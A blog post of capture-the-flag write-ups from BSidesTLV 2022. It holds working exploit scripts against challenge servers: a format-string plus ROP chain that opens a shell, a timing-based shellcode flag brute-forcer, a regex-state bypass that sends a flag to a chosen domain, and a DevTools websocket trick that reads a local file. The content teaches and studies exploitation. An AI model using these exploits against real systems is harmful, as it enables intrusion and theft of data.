BSidesTLV2022 Writeups
June 30th 2022
mod_pwn (200)
We get an apache module, it's basically just a webpage but in compiled form there is the following struct:
struct _welcome_msg_obj
{
char name[128];
char *suffix;
char color[32];
};
the suffix pointer is set the base+0x2100, the flag is at offset 0x2120, so by entering the name which is 128 chars followed by a space (0x20 in ascii) we get the flag
Reverse Moving (300)
It's a C++ JIT which generates assembly instructions based on some pseudo-language. The name reverse moving probably stems from the fact that in contrast to intel assembly the operands are reversed, but then again, that's just AT&T syntax...
Anyway, we somehow have to exploit the moving so we get the flag in the output buffer (pointed to by rdi when executing the code we wrote).
mov r10, qword ptr [rsp]
mov qword [rdi], rsp
mov byte [rdi], 0
mov rsp, qword [rdi]
mov rsi, rdi
mov dword [rdi], 0x6c662f2e
mov dword [rdi+4], 0x006761
mov rdx, 0x100
mov qword [rsp], r10
mov word [rsp], 0xae26
mov qword [rsp+8], r10
this will jump to the read file routine with "./flag" as argument, writing the stuff into the output buffer (rdi). This sadly requires a bit of luck as we need to guess a single nibble (so 4 bits) of aslr for this to work. To convert the actual assembly into the pseudo-language I simply wrote a small script:
code = x.split("\n")
movs = ""
decls = ""
i = 0
for l in code:
if l.strip() == "":continue
l,r = l[4:].split(", ")
decls += f"My a{i} is {l}\n"
decls += f"My a{i+1} is {r}\n"
movs += f"Put a{i+1} in my a{i}\n"
i += 2
print(movs+"\n"+decls)
Black Box Moving (500)
We have the same setup as for the reverse moving challenge, except this time there won't be any output based on our input... So we need to become a bit more creative. I ended up writing a ropchain which executes shellcode, this can easily be done as there is a function which simply makes the code at rdi executable and then jumps to it, so we set up shellcode by moving into the output buffer, then execute that function. The shellcode just loads the flag file, reads the flag into memory, then checks if a the char at the current position is a specific char, if it is we enter an infinite loop, else we just exit.
With this we can detect the correct char at any position by measuring the time it takes for us to get an answer, since it still waits for termination / timeout even if it doesn't print anything.
import time
from requests import post
from pwn import *
context.arch="amd64"
xx="""
mov r10, qword [rsp] # load return address
mov qword [rdi], rdi # floor rdi
mov word [rdi], 0
mov rdi, qword [rdi]
mov rdx, 7
mov esi, 0x1000
mov rbp, rdi
mov qword [rsp], r10
mov byte [rsp], 0x18
"""
for pos in range(100):
for char in string.printable:
x = xx[:]
shellcode = asm(shellcraft.open("flag") + shellcraft.read("rax", "rsp", 0x100) +
f"cmp byte ptr [rsp+{pos}], {ord(char)}; jne exit; a: jmp a; exit:" +
shellcraft.exit(0))
shellcode += b"\x00" * (4 - (len(shellcode) % 4))
data = ""
off = 0
while shellcode:
d = u32(shellcode[:4])
x += f"mov dword [rdi+{off}], 0x{d:x}\n"
off += 4
shellcode = shellcode[4:]
code = x.split("\n")
movs = ""
decls = ""
i = 0
for l in code:
l = l.split("#")[0].strip()
if l.strip() == "":continue
l,r = l[4:].split(", ")
decls += f"My a{i} is {l}\n"
decls += f"My a{i+1} is {r}\n"
movs += f"Put a{i+1} in my a{i}\n"
i += 2
with open("inp", "w") as f:
f.write(movs+"\n"+decls)
couldbeit = True
for _ in range(1):
s = time.time()
r = post("https://black-box-moving.ctf.bsidestlv.com/submit",data={"instructions":movs+"\n"+decls})
e = time.time()
if e-s < 1:
couldbeit = False
break
if couldbeit:
print(f"Possible for pos {pos}: {char}")
break
Intergalactic Communicator (500)
We get a tar gz archive with a docker container inside (An archived docker container), the main thing inside we are interested in is the binary running on the remote, so we either import the docker container or extract the layers until we find the binary in /usr/src/app/main
Part 1: Reversing
Header & checksum
The binary inside the docker container is statically compiled and stripped, so it must be a hard challenge (as it turns out it actually isn't, it's just cancerous).
We start at the function start (entrypoint) inside the binary, this calls
libc_start_main
, where the first argument is the main function, going into
that we see that it runs an infinite loop and if it breaks it prints
"invalid packet", making an educated guess and saying that that function
probably is fwrite
, the next one after that probably is exit
, then
there are only three more functions, the first of which looks like a memset
call, to set a buffer of size 2048 to zero, the second one looks like fread
(Again looking at the arguments and seeing the stdin in fourth place).
So we read four bytes, put that into a variable, then swap the endianess of said variable, if that value is now less than 12 we print "invalid protocol header", so we have 12 bytes of header data, next we read the amount of bytes specified by our input. So this input must have been the packet length, the rest of the data is the payload.
This also means the last remaining function is the function responsible
for handling the packet data, it gets the packet data and its size.
In that function we load the first eight bytes of the data, xor it
with two different values and store those in a 16 byte buffer (The constants
spell out NotFlag!
and JustKey!
respectively, so I name the buffer key).
next we call a function where we give this buffer as first argument, then
the packet data (after the first eight bytes), then 16 and finally the packet
length minus eight. So we are entering the key and data and their sizes.
Looking at that function we see a few assertions (including file name, line number and function name & arguments), so we can already name all of those. If you've ever reversed malware (or some "secure" c2 server), this encryption might look familiar, as it is just doing rc4 encryption. It mallocs a new buffer for the output and returns a pointer to that.
Back in the function handling the packet we call memset on the packet data again, then a function which takes the packet data pointer, the decrypted data pointer and the size of the data, so this is probably just a memcpy. Then we clear the allocated buffer and call free on it (Actually I didn't reverse that function, I again just guessed it probably is free, since we don't use the buffer afterwards).
Next we have an if which checks that the output of a function, which takes the
data and its size, is equal to the first eight bytes of the packet - which we
used as the key for the decryption. If the check fails, we print "checksum failed"
and exit, so this makes it pretty clear that we're using some sort of checksum.
Looking at the function we see that there is a lookuptable. Googling the first
(nonzero) constant in that table leads us to the crc64 implementation of
redis which looks exactly like the implementation we got. So either we implement
this in python or we write the exploit in C and use this implementation...
Or we just use pwntools generic_crc
which will work the same as this implementation
by just giving it the arguments which are defined at the top of the redis
implementation.
Next, if the checksum was correct, the packet data (without the checksum header)
is passed into another function, which then first takes an int from the data
(Finalizing the header) and performs a switch on the value of that, there
are five actions we can perform, it seems that the first one just prints a
number, so we change the function call with the format specified to sprintf
,
the buffer we write into is used after the switch, first we put it into a
function which returns an int, which we send to the other side using fwrite,
then we pass the buffer into a second function. This looks like we're just
sending the size of the buffer and then the buffer, so I rename the functions
to strlen
and write_buffer
and the buffer to output_data
respectively.
(I ignored the first if case in the function as it had to with futexes and
those are rarely important).
API
So now we know how to communicate (and we can already write a script to communicate which just sends packets and receives the answer), however the interesting part starts now as we have to reverse the actual part we can interact with, so let's look at the switch.
The first case just returns a numberm which is the result of a function call with an object which seems to be referenced a lot.
The second case takes another int from the input data, puts it into
a function together with the weird object. Then we call a function
which just dereferences the returned value. Venturing a bit into the
first function we find the string vector::_M_range_check
, which means
the object is likely just a vector and judging by the arguments this is
probably just the operator[]
, the returned value is dereferenced, which
leads me to believe that it's a c++ string and we called the c_str
method
on it. Considering this, we now can make a guess about the first case in
the switch, that being it's just getting the size of the vector.
Next we call snprintf
(again based on the arguments), into a temporary
buffer, then we call some other method which again calls printf??
Yes as it looks like the temporary buffer is used as the format for
a printf to the output buffer... Well, if that's not handy...
The next case takes the rest of the buffer as a string (char*
) and
calls another function with it, which probably means it's inserting
that into the list. Then we get the iterator and end iterator of that
returned string, then we clear the topmost bit of every char along the
way (We iterate over all the chars we just put into the string)
This is likely to limit us to ascii-only values, but we'll see about that
The fourth case just calls a function and returns "OK", my guess was this clears the list and with a bit of experimenting that seemed to be the case (not that I had to use this functionality)
The last case is again using an iterator, this time over the string in the list, and it just concatenates them all into a giant string, which is on the stack... In a buffer of size 2048... Where every string can have up to 2048 chars... So yeah, this could be used to overflow the stack quite a bit.
Implementation
I implemented this protocol client in python:
from pwn import *
from arc4 import ARC4
class Comm:
crc64 = lambda x: crc.generic_crc(polynom=0xad93d23594c935a9,width=64,refin=True,refout=True,xorout=0,init=0,data=x)
def __init__(self,r):
self.r = r
def send_packet(self, data):
checksum = Comm.crc64(data)
key = p64(checksum ^ 0x2167616C46746F4E) + p64(checksum ^ 0x2179654B7473754A)
rc4 = ARC4(key)
data = rc4.encrypt(data)
totransmit = p32(len(data) + 8, endian="big") + p64(checksum) + data
self.r.send(totransmit)
def recv_packet(self):
length = u32(self.r.recvn(4))
data = self.r.recvn(length+1)
return data
def size(self):
self.send_packet(p32(1))
return int(self.recv_packet())
def get(self, idx, optional=None):
if not optional:
optional = b""
self.send_packet(p32(2) + p32(idx) + optional)
return self.recv_packet()
def add(self, data):
self.send_packet(p32(3) + data)
return self.recv_packet()
def clear(self):
self.send_packet(p32(4))
return self.recv_packet()
def broadcast(self):
self.send_packet(p32(5))
return self.recv_packet()
To use this class you have to give it a pwntools pipe as constructor argument and then you can call the individual functions (Not that I only added the optional packet data into the get method, but you could put that in all the methods, I only needed it in the get function)
Part 2: Pwn
The year is 2022 AD, Strings are entirely ascii. Well not entirely! One small part of memory still holds out against the ascii-fication.
Well, first of all we want to leak data, like the aslr base and the stack cookie, as well as the stack address (We might not need it, but I mean, why not)
To do this we just add a string with the text %529$p %533$p %532$p
, then
print that string using the get method. We get these numbers by taking the
size of the stack frame (0x1078), dividing that by eight and then adding six
(The first six arguments are in registers, and on the stack every argument
is eight bytes). That is the pointer to the saved return address, just before
that is the saved rbp, and for some reason 3 spaces further back is the stack
cookie.
Now with these values we can just rop, right? Well yes, but actually no, but actually actually yes.
The author made all the strings ascii-only, so we would have had to wait for the stack cookie and the aslr base to be ascii-only for an exploit, which seemed unrealistic, so I scrapped that idea (Which was the intended solution btw...), then I noticed that the decrypted buffer is copied from the heap onto the stack (for some reason) before it's being processed. Which means we have all the binary values of the current packet on the stack, or if we haven't overwritten them the previous ones.
Which means instead of looking at the current stack frame we look a bit further
up in the stack frame of main and voilà, we find the values we are looking for,
luckily pwntools not only has the function fmtstr_payload
, but also
fmtstr_split
, which returns the format string and the binary data required.
So after leaking the values, we can continue to create a ropchain (pwntools actually worked here, so just do a call to execve, don't forget to set the base stack address). Next we somehow want the thing to jump to our payload, so we make a formatstring payload which uses the binary data in the packet and overwrites the return address with a ropgadget to increase the stack pointer (So it ends up in our buffer)
Next we just add the format, then get the string (which executes the vulnerability), with optional data being set to the formatstring payload and the ropchain.
There are some magic values, but they're not really that magic, the base stack address is just calculated, since we have two returns and the gadget increases the stack address by 0x78, we have a total of 0x88 bytes, the 0x14fd22 is the offset to that gadget, the 553 is the offset into the buffer in the stack frame of main (which can be calculated using the stack frame sizes of all functions up to main and the return addresses, or by guessing and adjusting)
The final payload has some space in between the format string data and the ropchain, which i just filled with a bunch of 0s.
if args.LOCAL:
if args.GDB:
r = gdb.debug(["./main"],aslr=False)
else:
r = process(["./main"])
else:
r = remote("intergalactic-communicator.ctf.bsidestlv.com", 8080)
comm = Comm(r)
context.binary = exe = ELF("./main")
comm.add(b"%529$p %533$p %532$p")
leaks = comm.get(0)[20:]
stack_cookie = int(leaks.split(b" ")[0],16)
exe.address = int(leaks.split(b" ")[1],16) - 0x1C27E
stack_address = int(leaks.split(b" ")[2],16)
info("Stack cookie: 0x%x, ASLR base: 0x%x, Stack addr: 0x%x", stack_cookie, exe.address, stack_address)
rop = ROP(exe,base=stack_address+0x88)
#rop.raw(rop.find_gadget(["ret"]).address)
rop.call('execve', [b'/bin/sh', [["sh"], 0], 0])
start_addr = stack_address + 8
ropchain = rop.chain()
comm.clear()
fmt,data = fmtstr_split(553, {
start_addr: exe.address + 0x14fd22
}, numbwritten=20)
comm.add(fmt)
data = data + b"0"*(0x50 - len(data))
comm.get(0, data+ropchain)
r.sendline(b"ls")
r.interactive()
Links
Healthcheck
Found this on the remote called health_check.py
import socket
import sys
import re
server = 'localhost'
port = 8080
check = b'\x00\x00\x00\x0c\xa9\xff\xaf\xc0\xbc\x1b\xacW5\xc9A\x11'
leak = b"\x00\x00\x00>\\E\xc5h\x06\xc4\xd3c\xb4Ng\x04-\x10\xa1\x05fJ\xfb]\xbff*Ww46\xe1\xfb2\x80k\xd43\t)\xd7`\xc4\x91\xec\x9e\xef\xb2rC\x12J\xcb\x83\x1a2o\xfc\xb3\x0f\x190\xaf\x9a\xaf'"
read = b'\x00\x00\x00\x10\x88\x88\xde\x92+\x00:pu\x92\xe5\xb8\xd6\xd0w\xf7'
def send_exploit(sock, buffer: bytes, read_response=False, health=False):
sock.send(buffer)
if read_response:
size = int.from_bytes(sock.recv(4), 'little')
resp = sock.recv(size + 1)
if health:
if b'Welcome to the Intergalactic Communicator' not in resp:
sock.close()
sys.exit(1)
return True
if b'canary:' in resp:
match = re.findall(rb'shellcode:([0-9A-Fa-fXx]*?):base:([0-9A-Fa-fXx]*?):canary:([0-9A-Fa-fXx]*?):', resp)
return True
return False
def get_connection(ip: str, port: int) -> socket.socket:
sock = None
while sock is None:
try:
sock = socket.create_connection((ip, port))
except ConnectionRefusedError:
continue
return sock
def main():
conn = get_connection(server, port)
try:
# Checking for welcome message
if not send_exploit(conn, check, True, True):
conn.close()
sys.exit(1)
# Sending leak payload
send_exploit(conn, leak, True)
# Checking if leaked pointers
if not send_exploit(conn, read, True):
conn.close()
sys.exit(1)
except:
conn.close()
sys.exit(1)
conn.close()
sys.exit(0)
if __name__ == '__main__':
main()
Final remarks
The challenge was statically compiled and stripped, which is just an artificial increase in difficulty, in the end there was nothing in this challenge which made it worth the 500 points it was (in my opinion). But people couldn't solve it (probably also due to the reversing part), which makes the authors believe they actually made a hard challenge.
This is not the case, this challenge was pretty easy once I had the packet sending done, I just had to find a bunch of offsets and was done. Also the intended solution for the pwn part was ridiculous, I don't want to bruteforce 16000 to 20000 attempts just to get ascii (and non-null) stack cookie & aslr base, that is not fun to exploit on a remote system where every connection takes way longer than locally.
TLDR: pwn too easy, rev cancer.
Tropical API (150)
We get a server.js which is the backend for a service which will send a request
with the flag to any endpoint http://${fqdn}.ping-proxy/ping
where fqdn is checked
to be hexadecimal only and 32 chars. Well, the problem is that the regex is used on
multiple strings (we can enter multiple domains), so by making the first a very
long sequence of hex chars followed by something non-hex, the regex object will store
the position it found the match and for the next test it will continue from that
position. The next fqdn then just is 32 hex chars, followed by any non-hex char
and the domain you want the flag sent to:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaz
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.<xyz.com>
The Buffer.from will stop parsing the hex chars once it finds something non-hex, so the size of it will be 16 bytes, as required.
Wild DevTools (500)
It's basically just liveoverflows screenshotter; except we don't have to do any xss,
we can request any site. We can iterate over the ports from 9000 to 11000 and make a
request to localhost:port, disabling cors so we just get if it hit or not. Then we can
set the src of an iframe to localhost:port/json/new?file:///tmp/flag.txt
, we get the
screenshot with the websocket url to debug the flag tab.
Now we need to be quick and transfer that to another payload and make a screenshot of that. That second page will make a websocket connection to the websocket endpoint for the flag tab and will send
var msg = {
id: 1,
method: "Runtime.evaluate",
params: {expression:"document.body.innerHTML"}
};
then in the ws.onmessage we just send the answer to our server (or put it on screen and read it from the screenshot)
Guess the shellcode 1 (100)
We just need to make the shellcode whole again
0503040180
are the syscall numbers (and the final syscall itself) we need to fill in to get
the correct shellcode to read the file flag1
Guess the shellcode 2 (250)
Same idea as before, except this time we need to make the "flag" ourselves, by
making the first constant xor 0x13333337 equal to "flag", then we have to skip a
weird jump and finally we have to make one of the jumps be the same as the others
(which was kinda weird and took me way too long to figure out)
515F527405B003909090902ECD80
Guess the shellcode 3 (350)
The first part is a loop which decodes the later part, it goes through every second
byte, subtracts 0x41, does the same to the following byte and then puts them together
(Kinda like hex, but not quite). To make the loop complete we need to increase the
variables in the registers, so we have to use 4043434646
(any order of these will
do of course).
The rest is the same shellcode as the first reverse the shellcode (except for some offsets maybe and the fact that we're reading flag3), but encoded using every nibble and then adding 0x41 to that. (I noticed that the nibbles I had were similar to the shellcode from the first reversing part)
James Webb (150)
The binary was just a small webserver, listening on port 31337 and receiving
packets. The first four bytes had to be "WEBB", then the username (16 chars)
had to be "admin", the password had to have the sha1 hash of 372A9FF7057FAAD7321AAFD1EA5D875BE7ABE643
, and have the format dd:mm:yy
and the hint was that it was the launch date. So either by bruteforcing or by googling the launch date of the james webb telescope we find the password to be 25:12:21
, then we have to send an opcode what to do, we want that to be 1, then another 1 (number of arguments). Then we have one argument, which should just be the string "MIRI", all in all we get this:
from pwn import *
r = remote("james-webb.ctf.bsidestlv.com",31337)
r.send(b"WEBBadmin\x000000000000000025:12:21\x0000000000000\x01\x00\x01\x00\x00\x00MIRI\x00000000000000000")
r.interactive()
handsfree (250)
First we need to extract the payloads from the pcap:
tshark -r handsfree.pcap -T fields -e btl2cap.payload btl2cap.payload
then we need to extract the sbc data, this can easily be done by just getting
rid of the first 13 bytes in the payloads.
Lastly we decode it with sbcdec to get playable audio
x = b""
with open("payloads","r") as f:
d = f.read().split("\n")
for l in d:
if len(l) > 20:
x += bytes.fromhex(l.strip())[13:]
from pwn import *
with open("tmp_out", "wb") as f:
f.write(x)
p = process(["sbcdec", "-v", "-f", "out", "tmp_out"])
out = p.recvall()
p.wait()
print(out)
And finally one had to guess that there are dashes in between the words instead of underscores.
< UMDCTF - POKéPTCHA | Bufferoverflows >